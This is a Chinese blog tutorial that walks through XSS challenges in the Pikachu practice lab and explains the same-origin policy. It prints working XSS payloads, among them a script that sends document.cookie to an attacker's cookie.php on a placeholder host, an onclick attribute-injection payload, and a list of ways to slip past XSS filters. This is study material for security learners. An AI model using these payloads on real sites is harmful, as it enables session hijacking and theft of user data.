【网络安全】-xss跨站脚本攻击-pikachu

文章目录

前言 什么是xss跨站脚本攻击?

1.xss的分类:

1.1 反射型xss

1.2 存储型xss

1.3 Dom型xss:

2.同源策略:

2.1同源策略的定义

2.2同源策略的绕过

2.3 绕过同源策略的绕过


前言 什么是xss跨站脚本攻击?

因为网站程序对用户的输入过滤不足,导致hacker可以在网站上插入恶意脚本代码。

这些脚本代码在输出时会被当成源进行代码解析执行,弹窗显示在页面上,对其他用户造成影响,例如劫持cookie、钓鱼、挂马、盗取用户资料、利用用户身份进行非法活动或者直接上传木马病毒侵害主机。


1.xss的分类:

1.1 反射型xss

传参不被存储在数据库中,服务端只是简单的把反射型XSS用户输入的数据反射给浏览器,是一次性的。

举例:皮卡丘靶场,反射型xss。

输入1,查看回显信息,message=1&sumbmit=提交

依次输入2,3查看。

发现回显信息分别是message=2&sumbmit=提交,message=3&sumbmit=提交。

分析:message=我们输入的信息&点击提交的表单。

而本题是xss跨站脚本攻击, 我们输入的信息就是xss脚本代码的插入点,可以在网站上插入恶意脚本代码, 等同于message=恶意脚本代码&点击提交的表单。

我们插入<script>alert('XSS');</script>恶意脚本试试。

这说明我们插入恶意脚本已经被执行。

接下来便可以进行xss跨站脚本攻击。

(1) 劫持cookie:

  1. 弹出cookie:<script>alert(document.cookie)</script>
  1. 劫持cookie:

第一步:编写cookie.php脚本

第二步:

<script>document.location='http://主机地址/cookie.php //cookie地址

?cookie='+document.cookie; </script> //劫持cookie

第四步:访问document.location='http://主机地址/cookie.php 查看。

(2) 钓鱼钓鱼、挂马、盗取用户资料之类的大差不差,仅仅结合了csrf,深入学习时别忘了《网络安全法》。

1.2 存储型xss

传参被存在数据库里面可以重复使用。

输入1,2都没有回显信息,插入<script>alert('XSS');</script>脚本试试。

还是弹窗,感觉没什么特别的。

直到我多输了几次,每次进入都是满屏弹窗,一个接一个,有这时间,哪怕知道hacker入侵也只能干等着,想想那种xx的心......

1.3 Dom型xss:

不与后台服务器产生数据交,通过前端的dom节点形成。

输入1,回显你看到了什么?

输入2,还是回显你看到了什么?

插入恶意脚本<script>alert('XSS');</script>试试,还是回显你看到了什么?

好像是固定外链,点一下返回报错界面。

联想Dom型xss:不与后台服务器产生数据交,通过前端的dom节点形成。

所以你看到了什么?是前端的dom节点,检查页面源代码,

右上角,点击你看到了什么?进行检查,灰色选框自动跳转到代码行,下拉菜单得到源代码。

分析:

输入1

源代码<a href="1" _msttexthash="27140139" _msthash="89">你看到了什么?</a>

其中点击1跳转的便是我们的报错界面。

但是插入恶意脚本为什么也是外链?

不该是弹窗吗?

直到我们查看源代码,才发现:我们的恶意脚本<script>alert('XSS');</script>

因闭合方式空缺成了

根据提示:

构建' οnclick="alert('xss')">,弹出脚本。

2.同源策略:

为了安全考虑,所有浏览器都约定了同源策略-禁止页面加载或执行与自身来源不同的域中的任何脚本。

2.1同源策略的定义:

在同源策略中,"源"是由三个要素组成的:

  1. 协议(Protocol):如http、https。

  2. 域名(Domain):如example.com、localhost。

  3. 端口(Port):如80(HTTP的默认端口)、443(HTTPS的默认端口)。

只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。

2.2同源策略的绕过:

同源策略虽然安全,但在实际生活中,难免需要跨域访问资源:

  1. CORS(跨源资源共享):服务器设置Access-Control-Allow-Origin等CORS头部,允许来自特定源的请求访问资源。

  2. JSONP:一种非官方的跨域数据交换协议,通过动态插入<script>标签来实现跨域请求,但需要注意的是,JSONP只支持GET请求,并且存在安全风险,因为它无法验证响应内容的来源。

  3. 其他iframe、location.hash、window.name、HTML标签也可以用于实现跨域资源访问。

2.3 绕过同源策略的绕过

在绕过同源策略时,又引入了跨站脚本攻击(XSS)等安全风险。

  1. 只是严格过滤了恶意脚本语言的关键字,可以注释,编码,拼凑,大小写混合绕过。

  2. 标签语法蓸换

  3. 特殊符号干扰

  4. 提交方式更改

  5. 结合其他漏洞绕过

结语:xss攻击,同源策略,同源策略的绕过,绕过同源策略的绕过,怎么说呢,好像一场宿命的轮回......

相关推荐
WTT001126 分钟前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
前端小小王29 分钟前
React Hooks
前端·javascript·react.js
迷途小码农零零发39 分钟前
react中使用ResizeObserver来观察元素的size变化
前端·javascript·react.js
蜜獾云4 小时前
linux firewalld 命令详解
linux·运维·服务器·网络·windows·网络安全·firewalld
真滴book理喻4 小时前
Vue(四)
前端·javascript·vue.js
程序员_三木4 小时前
Three.js入门-Raycaster鼠标拾取详解与应用
开发语言·javascript·计算机外设·webgl·three.js
黑客Jack4 小时前
防御 XSS 的七条原则
安全·web安全·xss
东方隐侠安全团队-千里5 小时前
网安瞭望台第17期:Rockstar 2FA 故障催生 FlowerStorm 钓鱼即服务扩张现象剖析
网络·chrome·web安全
桃园码工5 小时前
4-Gin HTML 模板渲染 --[Gin 框架入门精讲与实战案例]
前端·html·gin·模板渲染
开心工作室_kaic6 小时前
springboot476基于vue篮球联盟管理系统(论文+源码)_kaic
前端·javascript·vue.js